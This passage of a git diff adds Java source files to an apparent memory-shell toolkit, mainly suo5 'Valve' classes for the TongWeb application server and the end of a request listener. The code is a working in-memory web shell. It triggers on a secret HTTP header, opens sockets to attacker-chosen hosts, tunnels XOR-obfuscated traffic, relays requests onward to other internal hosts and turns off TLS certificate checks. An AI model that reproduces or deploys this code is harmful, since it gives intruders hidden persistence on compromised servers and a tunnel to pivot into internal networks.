requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + String contentType = request.getContentType(); + if (contentType == null) { + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception ignored) { + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + response = (HttpServletResponse) getFieldValue(request, "_response"); + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve6.java new file mode 100644 index 00000000..9a4de72b --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve6.java @@ -0,0 +1,606 @@ +package com.reajason.javaweb.memshell.tongweb.suo5; + +import com.tongweb.web.thor.Valve; +import com.tongweb.web.thor.comet.CometEvent; +import com.tongweb.web.thor.connector.Request; +import com.tongweb.web.thor.connector.Response; + +import javax.net.ssl.*; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5Valve6 implements Valve, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + protected Valve next; + protected boolean asyncSupported; + + public Suo5Valve6() { + } + + public Suo5Valve6(InputStream gInStream, OutputStream gOutStream) { + this.gInStream = gInStream; + this.gOutStream = gOutStream; + } + + @Override + public String getInfo() { + return ""; + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { + + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + String contentType = request.getContentType(); + if (contentType == null) { + this.getNext().invoke(request, response); + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + this.getNext().invoke(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Valve6 p = new Suo5Valve6(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve7.java new file mode 100644 index 00000000..e7628fbf --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve7.java @@ -0,0 +1,595 @@ +package com.reajason.javaweb.memshell.tongweb.suo5; + +import com.tongweb.catalina.Valve; +import com.tongweb.catalina.connector.Request; +import com.tongweb.catalina.connector.Response; + +import javax.net.ssl.*; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5Valve7 implements Valve, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + protected Valve next; + protected boolean asyncSupported; + + public Suo5Valve7() { + } + + public Suo5Valve7(InputStream gInStream, OutputStream gOutStream) { + this.gInStream = gInStream; + this.gOutStream = gOutStream; + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + String contentType = request.getContentType(); + if (contentType == null) { + this.getNext().invoke(request, response); + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + this.getNext().invoke(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Valve7 p = new Suo5Valve7(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } 